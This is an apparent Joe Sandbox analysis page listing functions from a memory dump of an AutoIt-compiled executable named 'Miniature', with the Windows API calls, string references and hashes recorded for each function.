Opcode ID: aefb29b615f67fba41e35d44d31d82d1fbdc2a94bfc72b143e557c5a371df467
Instruction ID: ff9a7e437e200d67e3d3ca31634292f0b51f1aaab0ea09c389e08d2c63ab75f7
Opcode Fuzzy Hash: aefb29b615f67fba41e35d44d31d82d1fbdc2a94bfc72b143e557c5a371df467
Instruction Fuzzy Hash: F3516871408744ABE320AF50EC86FAFBBF8FB94318F51484DF1D8410A5DB75A42ADB56

Function 01018096 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 01018186
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0101819B

Strings

', xrefs: 010180EF

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 1406a47310d3081f63410ff2ad3cca279aefb10a8fb0353de8948e3f75af0e48
Instruction ID: bfb9b74da776073510cf88d315ab70e94f4fb23b6c628c1314140dabecb8942b
Opcode Fuzzy Hash: 1406a47310d3081f63410ff2ad3cca279aefb10a8fb0353de8948e3f75af0e48
Instruction Fuzzy Hash: 68411B75A013099FDB54CF68C881BDA7BF9FB09300F10456AED44AB346D775AA41CF90

Function 01002C5A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 01002C6A
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 01002CA0

Strings

|, xrefs: 01002C71

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: e42631878bfb2560dd965376e46a07ce2caa28391ba1da38fe8c6c08029d3588
Instruction ID: 0e2c23f982db87342c86158c54f29e4b6f67ad28b8f3d0593a7678f235b4c1c5
Opcode Fuzzy Hash: e42631878bfb2560dd965376e46a07ce2caa28391ba1da38fe8c6c08029d3588
Instruction Fuzzy Hash: F8313C71C00219ABDF11EFA5CC85AEEBFB9FF05350F00005AF915A6162EB355916DBA0

Function 01017088 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 0101713C
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 01017178

Strings

static, xrefs: 010170D8

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: ea07f8905a5c0c17ac77696fd7219a71863359dc45e4cff3587b94cda0e3557d
Instruction ID: e0d669b9ec9506a718feeaba06e5f300bb2c24e0969d4e9a10d9cd6cc17d3c2a
Opcode Fuzzy Hash: ea07f8905a5c0c17ac77696fd7219a71863359dc45e4cff3587b94cda0e3557d
Instruction Fuzzy Hash: EE317E75100604AAEB219F78CC80AFB77AAFF48724F109619F9D587195DB39A881D760

Function 00FF3049 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FF30B8
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00FF30F3

Strings

0, xrefs: 00FF30B1

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 3b671b445177f078e4aaec00c0d00d76195d4e6864f731e99978b8cd70e7e4b5
Instruction ID: e97ff8a201e4a6fb2d25aec5246dc4619410d20495af7a24c2f89bc9fde76498
Opcode Fuzzy Hash: 3b671b445177f078e4aaec00c0d00d76195d4e6864f731e99978b8cd70e7e4b5
Instruction Fuzzy Hash: 2E31A531E0030D9BEB249E59C885BBEBBB9EF06360F144019EE85A61B1D7709B44EB50

Function 010040B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 01004132

Part of subcall function 00FA1A36: _memmove.LIBCMT ref: 00FA1A77

Strings

AUTOITCALLVARIABLE%d, xrefs: 01004124
, $, xrefs: 01004172

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: b9f36733944aa75172372b30ae721d69cea83b0132cd184fd39cd4b6c25f5e7d
Instruction ID: bfb81cccf76f5ef3bf86b0114a39ba04d681c7764785b9b71e4983e50995cd65
Opcode Fuzzy Hash: b9f36733944aa75172372b30ae721d69cea83b0132cd184fd39cd4b6c25f5e7d
Instruction Fuzzy Hash: DB219174B00218ABDF11EE65CC81AEE77B5BB55340F000468FA45EB181DB34E905DBA5

Function 01016CF9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 01016D86
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 01016D91

Strings

Combobox, xrefs: 01016D53

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 6c87a92525bef81f45bab2f64841773dd163210bfb4feac26d6303be0007e61c
Instruction ID: 093a0a089988a74cecae3c0aeeeff6ee04c2b91b033b4c77b6ff7f31f1deee75
Opcode Fuzzy Hash: 6c87a92525bef81f45bab2f64841773dd163210bfb4feac26d6303be0007e61c
Instruction Fuzzy Hash: 3811C8717002087FEF629E58DC80EFB3BAAEB84364F514129F9549B295D67A9C908760

Function 0101722C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00F92111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00F9214F
Part of subcall function 00F92111: GetStockObject.GDI32(00000011), ref: 00F92163
Part of subcall function 00F92111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00F9216D

GetWindowRect.USER32(00000000,?), ref: 01017296
GetSysColor.USER32(00000012), ref: 010172B0

Strings

static, xrefs: 01017273

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 1a24da76d7293f4112788796b27c2d0910fb928a473a6a51dd072ee5c7713639
Instruction ID: fa0e5b08181273ee4e611ad600fd9c983267f7dbeffeaa18a945a30fe2463a76
Opcode Fuzzy Hash: 1a24da76d7293f4112788796b27c2d0910fb928a473a6a51dd072ee5c7713639
Instruction Fuzzy Hash: B621147261020AAFDB15DFA8CC45AFABBE8EB08314F104658FD95D3245E639A8919B60

Function 01016F45 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 01016FC7
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 01016FD6

Strings

edit, xrefs: 01016FAB

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 3cb9e85c9f069e142f011ad417f9387abc7f19e08bbe13ff15475dd973ad42f6
Instruction ID: b37dac6d70260319b4296ee5f42f2d529211779387946c72f1950049e81d6d48
Opcode Fuzzy Hash: 3cb9e85c9f069e142f011ad417f9387abc7f19e08bbe13ff15475dd973ad42f6
Instruction Fuzzy Hash: F9118271100209AFEB614E68DC44EFB3BA9EB04364F904758F9A4971D9C7BBDC509760

Function 00FF3156 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FF31C9
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00FF31E8

Strings

0, xrefs: 00FF31BF

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 62c0155e19fc75652077080db30afec5a182e94522a551b3dca18c884cea2b66
Instruction ID: 3680f42778ecf8fa446b14a3dfd33d6605bb9c1e90a4066740b7c152078fe77e
Opcode Fuzzy Hash: 62c0155e19fc75652077080db30afec5a182e94522a551b3dca18c884cea2b66
Instruction Fuzzy Hash: FE11E931D0021CABDB20DEA8DC45BBE77B8AF05320F140152EA45A7260D774AF05EB91

Function 010028A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 010028F8
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 01002921

Strings

<local>, xrefs: 010028E9

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: d37899b5967ca802421283d787003aefa6313b5c72c34fc4e2b8b9ec6381c9c7
Instruction ID: 8139ac25a58be325276428daccd00855a09b10d68e190a434714b7db4a1a36ad
Opcode Fuzzy Hash: d37899b5967ca802421283d787003aefa6313b5c72c34fc4e2b8b9ec6381c9c7
Instruction Fuzzy Hash: C011E074502325BAFB668E558C8CEBBFFA8FF05290F10816AF98546080E3705A94DBF0

Function 01008475 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON

Download Yara Rule

APIs

Part of subcall function 010086E0: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0100849D,?,00000000,?,?), ref: 010086F7

inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 010084A0
htons.WSOCK32(00000000,?,00000000), ref: 010084DD

Strings

255.255.255.255, xrefs: 010084B8

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: c660e4afc49f516085a7559b731fae640758dc3da6b33ab8e326a0a353f3ed52
Instruction ID: e644fab0c904419062338514661d63d4131b2e8d1097e48e87277917715f3edb
Opcode Fuzzy Hash: c660e4afc49f516085a7559b731fae640758dc3da6b33ab8e326a0a353f3ed52
Instruction Fuzzy Hash: 6C11C275900205ABEB21AF64CC42BAEB364FF04320F10856BF955572C1DA71A810D755

Function 00FE99BD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA1A36: _memmove.LIBCMT ref: 00FA1A77

Part of subcall function 00FEB79A: GetClassNameW.USER32(?,?,000000FF), ref: 00FEB7BD

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00FE9A2B

Strings

ComboBox, xrefs: 00FE99CA
ListBox, xrefs: 00FE99F5

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 9fab7c9566f30b815ee7b9961bc9b5a85e7f68c1403aba1ecddda6b7433af634
Instruction ID: 02b5b87c24b8d580e86ea86032b08d57c7cd7aecf423cc97be4506437327ce1e
Opcode Fuzzy Hash: 9fab7c9566f30b815ee7b9961bc9b5a85e7f68c1403aba1ecddda6b7433af634
Instruction Fuzzy Hash: B50128B5A45225AB8B24EFA5CC51DFE7369FF56320F100629F8B2572C1DF385808A660

Function 00FF934C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00FF9367
__fread_nolock.LIBCMT ref: 00FF937C

Strings

EA06, xrefs: 00FF93AE

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: c4d5123f9a0e94031204926f9150e7243a69c6f1a13645f4caaa575f54ea7812
Instruction ID: 17760e4e61898555c2e46cb1d740c41d506a56a5c89666e48cfda42836bc38bb
Opcode Fuzzy Hash: c4d5123f9a0e94031204926f9150e7243a69c6f1a13645f4caaa575f54ea7812
Instruction Fuzzy Hash: 1501F9728042587EDB28C6A9CC56FFE7BFC9F01301F00419EF552D6181E5B9E6089B60

Function 00FE98B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA1A36: _memmove.LIBCMT ref: 00FA1A77

Part of subcall function 00FEB79A: GetClassNameW.USER32(?,?,000000FF), ref: 00FEB7BD

SendMessageW.USER32(?,00000180,00000000,?), ref: 00FE9923

Strings

ComboBox, xrefs: 00FE98C2
ListBox, xrefs: 00FE98ED

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 674d8950d121c7bb998014c2553d1aeb434d5262b009d3c90bd2b47310710feb
Instruction ID: 15b9b2d6e956af9260ef67dc75e7719af4ab1a30a817136e52aa28567f968a6c
Opcode Fuzzy Hash: 674d8950d121c7bb998014c2553d1aeb434d5262b009d3c90bd2b47310710feb
Instruction Fuzzy Hash: 3801F7F6E81105ABCB24EBA1CD52EFF73A8AF16310F11001DB84263292DA585E08B6F1

Function 00FE993A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA1A36: _memmove.LIBCMT ref: 00FA1A77

Part of subcall function 00FEB79A: GetClassNameW.USER32(?,?,000000FF), ref: 00FEB7BD

SendMessageW.USER32(?,00000182,?,00000000), ref: 00FE99A6

Strings

ComboBox, xrefs: 00FE9947
ListBox, xrefs: 00FE9972

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 84e2d1ed8a37c1a690d53f55e67e80343c3994908c0cee07ecd1c95c5cbbfe1c
Instruction ID: 8c977a3d73ab244ee01bd4488ee618162045b90259129ba5a8513d845cd2e28b
Opcode Fuzzy Hash: 84e2d1ed8a37c1a690d53f55e67e80343c3994908c0cee07ecd1c95c5cbbfe1c
Instruction Fuzzy Hash: 9501DBF6E46119A7CB20EBA5CE52EFF73AC9F12350F110019B88663252DA594E08B6B1

Function 00FF54E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00FF5501
_wcscmp.LIBCMT ref: 00FF5513

Strings

#32770, xrefs: 00FF550D

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 46c412589b340353251ac4837520c48a36af20d3b449717056b800fcf668c104
Instruction ID: 2091b359069735cdd488327f775d09708e593abe5994374e4b88f2dfda739efc
Opcode Fuzzy Hash: 46c412589b340353251ac4837520c48a36af20d3b449717056b800fcf668c104
Instruction Fuzzy Hash: 0FE0617290032C17D330995AAC49FA7F7ACEB04730F000017FD44D7001D560D90087D0

Function 00FE8892 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00FE88A0

Part of subcall function 00FB3588: _doexit.LIBCMT ref: 00FB3592

Strings

AutoIt, xrefs: 00FE8894
Error allocating memory., xrefs: 00FE8899

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 968b6b437816c7795229cf725fbc03435d73c62169520e3be01b3d59cd9e7fa5
Instruction ID: 64071eba700110930d26aaf1239a54556a5ae70689bf0e95a6e7f4bba4478c25
Opcode Fuzzy Hash: 968b6b437816c7795229cf725fbc03435d73c62169520e3be01b3d59cd9e7fa5
Instruction Fuzzy Hash: 95D02B723C035832C23031E6AC0BFCA7A488B45B90F20002AFB48BA0C38DDAA58052D5

Function 00FCB4F1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00FCB544: _memset.LIBCMT ref: 00FCB551

Part of subcall function 00FB0B74: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00FCB520,?,?,?,00F9100A), ref: 00FB0B79

IsDebuggerPresent.KERNEL32(?,?,?,00F9100A), ref: 00FCB524
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00F9100A), ref: 00FCB533

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00FCB52E

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: dd2008aece29c17a5dc292600c9615cad7b7b8194dcbf403c73adaeea605759f
Instruction ID: b119c4648b3492f48ac47c70e552178bb7ea52b85491808d3911991d10b7b2ed
Opcode Fuzzy Hash: dd2008aece29c17a5dc292600c9615cad7b7b8194dcbf403c73adaeea605759f
